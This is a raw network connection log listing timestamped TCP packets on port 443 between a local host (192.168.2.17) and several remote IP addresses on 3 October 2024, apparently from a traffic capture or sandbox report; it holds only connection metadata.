Oct 3, 2024 17:19:02.029606104 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.036072969 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.036190033 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.036201954 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.041074038 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.041151047 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.041163921 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.041176081 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.041255951 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.046770096 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.060513973 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.060549974 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.060575962 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.060576916 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.060590029 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.060626030 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.060651064 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.060688972 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.060698032 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.062937021 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.063019037 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.063030005 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.064343929 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:02.064441919 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:02.064475060 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:02.064630985 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:02.064809084 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:02.064809084 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:02.064827919 CEST	443	55805	157.90.33.122	192.168.2.17
Oct 3, 2024 17:19:02.064896107 CEST	55805	443	192.168.2.17	157.90.33.122
Oct 3, 2024 17:19:02.067992926 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.068119049 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.068131924 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.072514057 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.072590113 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.072602987 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.076860905 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.076950073 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.076961040 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.081080914 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.081139088 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.081150055 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.089111090 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.089147091 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.089171886 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.089199066 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.089210987 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.089232922 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.093626022 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.093699932 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.093710899 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.098536968 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.098587990 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.098598957 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.102653027 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.102807045 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.102930069 CEST	55808	443	192.168.2.17	142.250.185.110
Oct 3, 2024 17:19:02.102941036 CEST	443	55808	142.250.185.110	192.168.2.17
Oct 3, 2024 17:19:02.278353930 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:02.278472900 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:02.373619080 CEST	443	55810	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.374762058 CEST	55810	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.374778032 CEST	443	55810	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.375911951 CEST	443	55810	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.377329111 CEST	55810	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.377526045 CEST	443	55810	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.377897024 CEST	55810	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.400495052 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:02.400530100 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:02.401448011 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:02.401520014 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:02.402864933 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:02.402928114 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:02.419419050 CEST	443	55810	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.514584064 CEST	443	55814	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:02.514889002 CEST	55814	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:02.514914989 CEST	443	55814	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:02.516069889 CEST	443	55814	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:02.516144037 CEST	55814	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:02.516448975 CEST	55814	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:02.516522884 CEST	443	55814	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:02.516601086 CEST	55814	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:02.516608953 CEST	443	55814	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:02.517079115 CEST	443	55812	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.517277002 CEST	55812	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.517299891 CEST	443	55812	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.517636061 CEST	443	55812	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.517898083 CEST	55812	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.517949104 CEST	443	55812	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.517982960 CEST	55812	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.563407898 CEST	443	55812	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.567218065 CEST	55814	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:02.567218065 CEST	55812	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.650330067 CEST	443	55817	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.650640965 CEST	55817	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.650684118 CEST	443	55817	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.652169943 CEST	443	55817	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.652247906 CEST	55817	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.652549982 CEST	55817	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.652642965 CEST	443	55817	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.652729034 CEST	55817	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.652744055 CEST	443	55817	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.654299021 CEST	443	55820	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.654512882 CEST	443	55818	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.654547930 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.654570103 CEST	443	55820	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.655055046 CEST	55818	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.655071020 CEST	443	55818	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.655617952 CEST	443	55820	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.655795097 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.656016111 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.656076908 CEST	443	55820	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.656126022 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.656347036 CEST	443	55818	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.656425953 CEST	55818	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.656713963 CEST	55818	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.656796932 CEST	443	55818	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.656877041 CEST	55818	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.656893015 CEST	443	55818	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.661997080 CEST	443	55810	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.662156105 CEST	443	55810	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.662307024 CEST	55810	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.662765026 CEST	55810	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.662782907 CEST	443	55810	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.694231987 CEST	55817	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.695225954 CEST	443	55814	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:02.695377111 CEST	443	55814	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:02.695480108 CEST	55814	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:02.696305990 CEST	55814	443	192.168.2.17	139.45.195.8
Oct 3, 2024 17:19:02.696326017 CEST	443	55814	139.45.195.8	192.168.2.17
Oct 3, 2024 17:19:02.703397036 CEST	443	55820	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.709237099 CEST	55818	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.709902048 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.709912062 CEST	443	55820	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.752329111 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:02.752404928 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:02.752424002 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:02.752470970 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:02.752476931 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:02.752511978 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:02.752558947 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:02.752588034 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:02.753648043 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:02.753712893 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:02.753774881 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:02.753835917 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:02.757076979 CEST	55811	443	192.168.2.17	2.23.209.185
Oct 3, 2024 17:19:02.757088900 CEST	443	55811	2.23.209.185	192.168.2.17
Oct 3, 2024 17:19:02.757219076 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.806343079 CEST	443	55812	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.806435108 CEST	443	55812	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.806488991 CEST	55812	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.807621002 CEST	55812	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.807641983 CEST	443	55812	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.807651043 CEST	55812	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.807966948 CEST	55812	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.830806971 CEST	443	55816	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.831147909 CEST	55816	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.831172943 CEST	443	55816	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.834717989 CEST	443	55816	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.834853888 CEST	55816	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.835206985 CEST	55816	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.835381031 CEST	443	55816	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.835477114 CEST	55816	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.835493088 CEST	443	55816	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.843750000 CEST	443	55815	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.844003916 CEST	55815	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.844022036 CEST	443	55815	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.845253944 CEST	443	55815	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.845649004 CEST	55815	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.845827103 CEST	443	55815	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.845834017 CEST	55815	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.845868111 CEST	55815	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.845875025 CEST	443	55815	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.883219004 CEST	55816	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.892680883 CEST	443	55819	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:02.892950058 CEST	55819	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:02.892963886 CEST	443	55819	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:02.893290043 CEST	443	55819	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:02.893742085 CEST	55819	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:02.893834114 CEST	443	55819	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:02.894171953 CEST	55819	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:02.899240017 CEST	55815	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.935426950 CEST	443	55819	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:02.939574957 CEST	443	55817	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.939805984 CEST	443	55817	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.940012932 CEST	55817	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.940237045 CEST	55817	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.940257072 CEST	443	55817	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.940268040 CEST	55817	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.940303087 CEST	55817	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.942971945 CEST	443	55820	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.943056107 CEST	443	55820	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.943116903 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.943451881 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.943470001 CEST	443	55820	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.943481922 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.943785906 CEST	55820	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.944744110 CEST	443	55818	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.944832087 CEST	443	55818	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.944886923 CEST	55818	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.945215940 CEST	55818	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.945226908 CEST	443	55818	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.945239067 CEST	55818	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.945270061 CEST	55818	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.946170092 CEST	55822	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.946198940 CEST	443	55822	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.946310043 CEST	55822	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.946490049 CEST	55822	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:02.946512938 CEST	443	55822	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:02.960407019 CEST	443	55821	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:02.960668087 CEST	55821	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:02.960691929 CEST	443	55821	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:02.964507103 CEST	443	55821	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:02.964571953 CEST	55821	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:02.964879036 CEST	55821	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:02.964962959 CEST	443	55821	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:02.965022087 CEST	55821	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:02.965029955 CEST	443	55821	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:03.010236025 CEST	55821	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:03.127048969 CEST	443	55816	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:03.127248049 CEST	443	55816	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:03.127419949 CEST	55816	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:03.127679110 CEST	55816	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:03.127727032 CEST	443	55816	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:03.127756119 CEST	55816	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:03.127851963 CEST	55816	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:03.166488886 CEST	443	55815	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:03.166666031 CEST	443	55815	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:03.166727066 CEST	55815	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:03.167181015 CEST	55815	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:03.167202950 CEST	443	55815	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:03.167213917 CEST	55815	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:03.167301893 CEST	55815	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:03.184429884 CEST	443	55821	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:03.184511900 CEST	443	55821	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:03.184581041 CEST	55821	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:03.185275078 CEST	55821	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:03.185286999 CEST	443	55821	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:03.202138901 CEST	55828	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:03.202187061 CEST	443	55828	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:03.202358961 CEST	55828	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:03.202624083 CEST	55828	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:03.202655077 CEST	443	55828	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:03.232623100 CEST	443	55819	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:03.232697964 CEST	443	55819	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:03.232878923 CEST	55819	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:03.233269930 CEST	55819	443	192.168.2.17	157.90.33.121
Oct 3, 2024 17:19:03.233293056 CEST	443	55819	157.90.33.121	192.168.2.17
Oct 3, 2024 17:19:03.790245056 CEST	443	55822	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:03.790622950 CEST	55822	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:03.790642977 CEST	443	55822	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:03.791759968 CEST	443	55822	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:03.792164087 CEST	55822	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:03.792340040 CEST	443	55822	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:03.792349100 CEST	55822	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:03.792371988 CEST	55822	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:03.792382956 CEST	443	55822	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:03.835228920 CEST	55822	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:04.081948042 CEST	443	55822	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:04.082045078 CEST	443	55822	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:04.082272053 CEST	55822	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:04.082685947 CEST	55822	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:04.082704067 CEST	443	55822	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:04.082741976 CEST	55822	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:04.082854986 CEST	55822	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:04.178548098 CEST	443	55828	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:04.178806067 CEST	55828	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:04.178872108 CEST	443	55828	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:04.180372953 CEST	443	55828	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:04.180444956 CEST	55828	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:04.180752039 CEST	55828	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:04.180862904 CEST	443	55828	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:04.181093931 CEST	55828	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:04.181111097 CEST	443	55828	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:04.233217955 CEST	55828	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:04.375930071 CEST	443	55828	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:04.376120090 CEST	443	55828	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:04.376370907 CEST	55828	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:04.377017021 CEST	55828	443	192.168.2.17	178.63.248.56
Oct 3, 2024 17:19:04.377063990 CEST	443	55828	178.63.248.56	192.168.2.17
Oct 3, 2024 17:19:07.442961931 CEST	55832	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:07.443011045 CEST	443	55832	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:07.445334911 CEST	55832	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:07.446072102 CEST	55832	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:07.446089983 CEST	443	55832	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:07.450330019 CEST	55833	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:07.450370073 CEST	443	55833	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:07.450396061 CEST	55834	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:07.450445890 CEST	443	55834	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:07.450458050 CEST	55833	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:07.450536013 CEST	55834	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:07.450787067 CEST	55833	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:07.450803041 CEST	443	55833	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:07.451092005 CEST	55834	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:07.451111078 CEST	443	55834	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:07.452043056 CEST	55835	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:07.452059984 CEST	443	55835	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:07.452383995 CEST	55835	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:07.452383995 CEST	55835	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:07.452410936 CEST	443	55835	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.101402998 CEST	443	55834	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:08.101742983 CEST	55834	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:08.101767063 CEST	443	55834	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:08.102065086 CEST	443	55834	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:08.102440119 CEST	55834	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:08.102546930 CEST	443	55834	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:08.102622986 CEST	55834	443	192.168.2.17	38.180.68.202
Oct 3, 2024 17:19:08.143405914 CEST	443	55834	38.180.68.202	192.168.2.17
Oct 3, 2024 17:19:08.270090103 CEST	443	55832	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.271529913 CEST	55832	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.271547079 CEST	443	55832	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.272058964 CEST	443	55832	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.272639990 CEST	55832	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.272722006 CEST	443	55832	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.272821903 CEST	55832	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.272840977 CEST	55832	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.272854090 CEST	443	55832	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.286046028 CEST	443	55835	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.289917946 CEST	443	55833	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.294027090 CEST	55835	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.294042110 CEST	443	55835	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.294266939 CEST	55833	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.294284105 CEST	443	55833	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.294895887 CEST	443	55833	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.295655966 CEST	55833	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.295758963 CEST	443	55833	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.295897007 CEST	55833	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.295897007 CEST	55833	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.295912027 CEST	443	55833	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.297703028 CEST	443	55835	139.45.197.251	192.168.2.17
Oct 3, 2024 17:19:08.297776937 CEST	55835	443	192.168.2.17	139.45.197.251
Oct 3, 2024 17:19:08.298171997 CEST	55835	443	192.168.2.17	139.45.197.251
